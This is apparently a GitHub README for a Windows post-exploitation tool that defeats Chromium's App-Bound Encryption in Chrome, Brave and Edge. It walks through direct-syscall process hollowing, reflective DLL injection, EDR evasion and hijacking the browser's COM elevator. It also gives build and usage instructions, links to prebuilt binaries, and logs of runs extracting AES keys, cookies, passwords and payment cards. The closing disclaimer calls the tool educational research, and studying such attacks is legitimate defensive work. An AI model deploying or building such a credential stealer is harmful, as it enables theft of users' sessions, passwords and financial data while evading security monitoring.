A post-exploitation tool demonstrating a complete, in-memory bypass of Chromium's App-Bound Encryption (ABE). This project utilizes Direct Syscall-based Reflective Process Hollowing to launch a legitimate browser process in a suspended state, stealthily injecting a payload to hijack its identity and security context. This Living-off-the-Land (LOTL) technique that subverts the browser's own security model. The fileless approach allows the tool to operate entirely from memory, bypassing user-land API hooks to decrypt and exfiltrate sensitive user data (cookies, passwords, payments) from modern Chromium browsers.
If you find this research valuable, Iβd appreciate a coffee:
This tool's effectiveness is rooted in a combination of modern, evasion-focused techniques:
-
Direct Syscalls for Evasion: Bypasses EDR/AV user-land hooks on standard WinAPI functions by invoking kernel functions directly. The engine is robust and dynamically resolves syscall numbers at runtime, ensuring compatibility across Windows versions.
-
Direct Syscall-Based Process Hollowing: A stealthy process creation and injection technique. Instead of injecting into a high-traffic, potentially monitored process, it creates a new, suspended host process. This significantly reduces the chances of detection, as all memory manipulations occur before the process begins normal execution.
-
Fileless In-Memory Payload: The payload DLL never touches the disk on the target machine. It is stored encrypted within the injector, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners.
-
Reflective DLL Injection (RDI): A stealthy process injection method that circumvents
LoadLibrary
, thereby evading detection mechanisms that monitor module loads. The self-contained C loader resolves all of its own dependencies from memory. -
Target-Context COM Invocation: The lynchpin for defeating App-Bound Encryption. By executing code within the trusted browser process, we inherit its identity and security context, allowing us to make legitimate-appearing calls to the ABE COM server and satisfy its path-validation security checks.
- π Full user-mode decryption of cookies, passwords, and payment methods.
- π Discovers and processes all user profiles (Default, Profile 1, etc.).
- π Exports all extracted data into structured JSON files, organized by profile.
- π‘οΈ Fileless Payload Delivery: In-memory decryption and injection of an encrypted resource.
- π‘οΈ Direct Syscall Engine: Bypasses common endpoint defenses by avoiding hooked user-land APIs for all process operations.
- π€« Process Hollowing: Creates a benign, suspended host process for the payload, avoiding injection into potentially monitored processes.
- π» Reflective DLL Injection: Stealthily loads the payload without suspicious
LoadLibrary
calls. - π Proactive File-Lock Mitigation: Automatically terminates browser utility processes that hold locks on target database files.
- πΌ No Admin Privileges Required: Operates entirely within the user's security context.
- π Works on Google Chrome, Brave, & Edge.
- π» Natively supports x64 and ARM64 architectures.
- π Standalone Operation: Automatically creates a new browser process to host the payload, requiring no pre-existing running instances.
- π Customizable output directory for extracted data.

Browser | Tested Version (x64Β &Β ARM64) |
---|---|
GoogleΒ Chrome | 139.0.7258.139 |
Brave | 1.81.136 (139.0.7258.143) |
MicrosoftΒ Edge | 140.0.3485.14 |
The tool's execution is focused on stealth and efficiency, built around a Direct Syscall-based Reflective Hollowing process. This approach ensures that few high-level API calls are made and that the payload operates from within a legitimate, newly created browser process.
- Pre-Flight & Initialization: The injector begins by initializing its direct syscall engine, dynamically parsing
ntdll.dll
to resolve syscall numbers (SSNs) and locate kernel transition gadgets (syscall/ret
orsvc/ret
). It then performs a critical pre-flight check, usingNtGetNextProcess
and other syscalls to find and terminate any browser "network service" child processes. This preemptively releases file locks on the target SQLite databases. - Payload Preparation: The core payload DLL, which is stored as a ChaCha20-encrypted resource, is loaded and decrypted entirely in-memory.
- Process Hollowing: Instead of targeting an existing process, the injector creates a new instance of the target browser in a
CREATE_SUSPENDED
state (CreateProcessW
). This pristine, suspended process serves as the host for our payload. - Reflective Injection via Syscalls: Using the direct syscall engine, the injector performs a series of stealthy actions on the suspended process:
- It allocates memory using
NtAllocateVirtualMemory
. - It writes the decrypted payload DLL into the allocated space with
NtWriteVirtualMemory
. - It changes the memory region's permissions to executable using
NtProtectVirtualMemory
. - It creates a named pipe for communication and writes the pipe's name into the target's memory.
- It allocates memory using
- Execution & Control: A new thread is created in the target process using
NtCreateThreadEx
. The thread's start address points directly to the payload'sReflectiveLoader
export, with the address of the remote pipe name as its argument. The original main thread of the browser remains suspended and is never resumed. The injector then waits for the payload to connect back to the pipe.
- Bootstrapping: The
ReflectiveLoader
stub executes, functioning as a custom in-memory PE loader. It correctly maps the DLL's sections, performs base relocations, and resolves its Import Address Table (IAT) by parsing the PEB and hashing function names. Finally, it invokes the payload'sDllMain
. - Connection & Setup: The
DllMain
spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe. - Target-Context COM Hijack: Now running natively within the browser process, the payload instantiates the browser's internal
IOriginalBaseElevator
orIEdgeElevatorFinal
COM server. As the call originates from a trusted process path, all of the server's security checks are passed. - Master Key Decryption: The payload calls the
DecryptData
method on the COM interface, providing theapp_bound_encrypted_key
it reads from theLocal State
file. The COM server dutifully decrypts the key and returns the plaintext AES-256 master key to the payload. - Data Exfiltration: Armed with the AES key, the payload enumerates all user profiles (
Default
,Profile 1
, etc.). For each profile, it queries the relevant SQLite databases (Cookies
,Login Data
,Web Data
), decrypts the data blobs using AES-256-GCM, and formats the secrets as JSON. The results are written directly to the output directory specified by the injector. - Shutdown: After processing all profiles, the payload sends a completion signal to the injector over the pipe and calls
FreeLibraryAndExitThread
to clean up. The injector, upon receiving the signal, terminates the parent host process withNtTerminateProcess
.
This project uses a simple, robust build script that handles all compilation and resource embedding automatically.
-
Clone this repository.
-
Open a Developer Command Prompt for VS (or any MSVCβenabled shell).
-
Run the build script
make.bat
from the project root.
This project uses GitHub Actions to automatically builds the injector executable (chromelevator.exe
) for both x64 and ARM64 architectures
You can find the latest pre-compiled binaries on the Releases page. The executables for both architectures are packaged together in a single, convenient .zip file.
Release Package Contents:
chromelevator_x64.exe
chromelevator_arm64.exe
PS> .\chromelevator.exe
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.15.0 by @xaitax
Usage:
chrome_inject.exe [options] <chrome|brave|edge|all>
Options:
--output-path|-o <path> Directory for output files (default: .\output\)
--verbose|-v Enable verbose debug output from the injector
--help|-h Show this help message
Browser targets:
chrome - Extract from Google Chrome
brave - Extract from Brave Browser
edge - Extract from Microsoft Edge
all - Extract from all installed browsers
Options
-
--output-path <path>
or-o <path>
Specifies the base directory for output files. Defaults to.\output\
relative to the injector's location. Data will be organized into subfolders:<path>/<BrowserName>/<ProfileName>/
. -
--verbose
or-v
Enable extensive debugging output from the injector. -
--help
or-h
Show this help message.
PS> .\chromelevator.exe all
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.15.0 by @xaitax
[*] Processing 3 browser(s):
[*] Chrome
[+] AES Key: 3fa14dc988a34c85bdb872159b739634cb7e56f8e34449c1494297b9b629d094
[+] Extracted 481 cookies, 2 passwords and 1 payments from 2 profiles
[+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
[*] Edge
[+] AES Key: b0334fad7f5805362cb4c44b144a95ab7a68f7346ef99eb3f175f09db08c8fd9
[+] Extracted 203 cookies and 2 passwords from 2 profiles
[+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
[*] Brave
[+] AES Key: 5f5b1c8112fba445332a9b01a59349f1112426753bfee2c5908aab6c46982fcd
[+] Extracted 2484 cookies, 1028 passwords and 1 payments from 1 profile
[+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
[*] Completed: 3 successful, 0 failed
PS> .\chromelevator.exe chrome -v
_________ .__ ___________.__ __
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
\/ \/ \/ \/ \/ \/
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 | v0.15.0 by @xaitax
[#] Found and sorted 489 Zw* functions.
[#] Initialized 19 syscall stubs.
[#] Searching Registry for: chrome.exe
[#] Found at: C:\Program Files\Google\Chrome\Application\chrome.exe
[#] Scanning for and terminating browser network services...
[#] Creating suspended Chrome process.
[#] Target executable path: C:\Program Files\Google\Chrome\Application\chrome.exe
[#] Created suspended process PID: 16392
[#] Architecture match: Injector=ARM64, Target=ARM64
[#] Named pipe server created: \\.\pipe\b4de02e0-297f-4910-8b5a-51ee0f3804ac
[#] Loading and decrypting payload DLL.
[#] Parsing payload PE headers for ReflectiveLoader.
[#] ReflectiveLoader found at file offset: 0x14a50
[#] Allocating memory for payload in target process.
[#] Combined memory for payload and parameters allocated at: 0x24706250000
[#] Writing payload DLL to target process.
[#] Writing pipe name parameter into the same allocation.
[#] Changing payload memory protection to executable.
[#] Creating new thread in target to execute ReflectiveLoader.
[#] Successfully created new thread for payload.
[#] New thread created for payload. Main thread remains suspended.
[#] Waiting for payload to connect to named pipe.
[#] Payload connected to named pipe.
[#] Sent message to pipe: VERBOSE_TRUE
[#] Sent message to pipe: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output
[#] Waiting for payload execution. (Pipe: \\.\pipe\b4de02e0-297f-4910-8b5a-51ee0f3804ac)
[*] Decryption process started for Chrome
[+] COM library initialized (APARTMENTTHREADED).
[*] Reading Local State file: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Local State
[*] Attempting to decrypt master key via Chrome's COM server...
[+] Decrypted AES Key: 3fa14dc988a34c85bdb872159b739634cb7e56f8e34449c1494297b9b629d094
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
[+] Found 2 profile(s).
[*] Processing profile: Default
[*] 371 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json
[*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.json
[*] Processing profile: Profile 1
[*] 110 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json
[*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\passwords.json
[*] 1 payments extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\payments.json
[*] All profiles processed. Decryption process finished.
[#] Payload completion signal received.
[#] Payload signaled completion or pipe interaction ended.
[#] Terminating browser PID=16392 via direct syscall.
[#] Chrome terminated by injector.
[+]
Extraction completed successfully
[#] Injector finished successfully.
Once decryption completes, data is saved to the specified output path (defaulting to .\output\
if not specified via --output-path
). Files are organized as follows:
Base Path: YOUR_CHOSEN_PATH
(e.g., .\output\
or the path you provide)
Structure: ///<data_type>.json
Example paths (assuming default output location):**
- πͺ Cookies (Chrome Default profile): .\output\Chrome\Default\cookies.json
- π Passwords (Edge Profile 1): .\output\Edge\Profile 1\passwords.json
- π³ Payment Methods (Brave Default profile): .\output\Brave\Default\payments.json
Each cookie file is a JSON array of objects:
[
{
"host": "accounts.google.com",
"name": "ACCOUNT_CHOOSER",
"value": "AFx_qI781-β¦"
},
{
"host": "mail.google.com",
"name": "OSID",
"value": "g.a000uwj5ufISβ¦"
},
β¦
]
Each password file is a JSON array of objects:
[
{
"origin": "https://example.com/login",
"username": "user@example.com",
"password": "β’β’β’β’β’β’β’β’β’β’"
},
{
"origin": "https://another.example.com",
"username": "another_user",
"password": "β’β’β’β’β’β’β’β’β’β’"
}
β¦
]
Each payment file is a JSON array of objects:
[
{
"name_on_card": "John Doe",
"expiration_month": 12,
"expiration_year": 2030,
"card_number": "β’β’β’β’β’β’β’β’β’β’1234",
"cvc": "β’β’β’"
},
{
"name_on_card": "Jane Smith",
"expiration_month": 07,
"expiration_year": 2028,
"card_number": "β’β’β’β’β’β’β’β’β’β’5678",
"cvc": "β’β’β’"
}
β¦
]
For a comprehensive understanding of Chrome's App-Bound Encryption, the intricacies of its implementation, the detailed mechanics of this tool's approach, and a broader discussion of related security vectors, please refer to my detailed research paper:
-
β‘οΈ Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes
This document covers:
- The evolution from DPAPI to ABE.
- A step-by-step breakdown of the ABE mechanism, including
IElevator
COM interactions and key wrapping. - Detailed methodology of the DLL injection strategy used by this tool.
- Analysis of encrypted data structures and relevant Chromium source code insights.
- Discussion of alternative decryption vectors and Chrome's evolving defenses.
-
β‘οΈ The Curious Case of the Cantankerous COM: Decrypting Microsoft Edge's App-Bound Encryption
This article details the specific challenges and reverse engineering journey undertaken to achieve reliable ABE decryption for Microsoft Edge. It includes:
- An account of the initial issues and misleading error codes (
E_INVALIDARG
,E_NOINTERFACE
). - The process of using COM type library introspection (with Python
comtypes
) to uncover Edge's uniqueIElevatorEdge
vtable structure and inheritance. - How this insight led to tailored C++ interface stubs for successful interaction with Edge's ABE service.
- A practical look at debugging tricky COM interoperability issues.
- An account of the initial issues and misleading error codes (
-
β‘οΈ COMrade ABE: Your Field Manual for App-Bound Encryption's COM Underbelly
This field manual introduces COMrade ABE, a Python-based dynamic analyzer for ABE COM interfaces, and dives into its practical applications:
- Explains the necessity for dynamic COM interface analysis due to browser variations and updates.
- Details COMrade ABE's methodology: registry scanning for service discovery, Type Library loading and parsing, and heuristic-based ABE method signature matching.
- Provides a comprehensive guide to interpreting COMrade ABE's output, including CLSIDs, IIDs (standard and C++ style), and the significance of verbose output details like VTable offsets, defining interfaces, and full inheritance chains.
- Highlights the utility of the auto-generated C++ stubs (
--output-cpp-stub
) for rapid development and research. - Discusses how COMrade ABE aids in adapting to ABE changes, analyzing new Chromium browsers, and understanding vendor-specific COM customizations.
This project builds upon the work and analysis of the wider security community.
-
Official Documentation & Announcements:
-
Community Research & Acknowledgment:
- Proof of concept by snovvcrash
All notable changes to this project are documented in the CHANGELOG file. This includes version history, new features, bug fixes, and security improvements.
This project is licensed under the MIT License - see the LICENSE file for details.
Important
This is a hobby project created for educational and security research purposes. It serves as a personal learning experience and a playing field for exploring advanced Windows concepts.
This tool is NOT intended to be a fully-featured infostealer or a guaranteed EDR evasion tool. While it employs advanced techniques, its primary goal is to demonstrate and dissect the ABE mechanism, not to provide operational stealth for malicious use. Please ensure compliance with all relevant legal and ethical guidelines.